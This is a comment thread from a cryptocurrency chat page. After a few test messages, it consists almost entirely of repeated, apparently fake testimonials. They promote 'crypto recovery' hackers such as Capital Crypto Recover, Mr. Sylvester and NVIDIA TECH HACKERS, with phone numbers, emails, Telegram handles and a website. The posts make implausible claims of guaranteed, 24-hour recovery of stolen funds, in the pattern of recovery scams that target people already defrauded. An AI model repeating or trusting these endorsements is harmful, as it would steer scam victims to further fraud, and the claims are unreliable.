  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon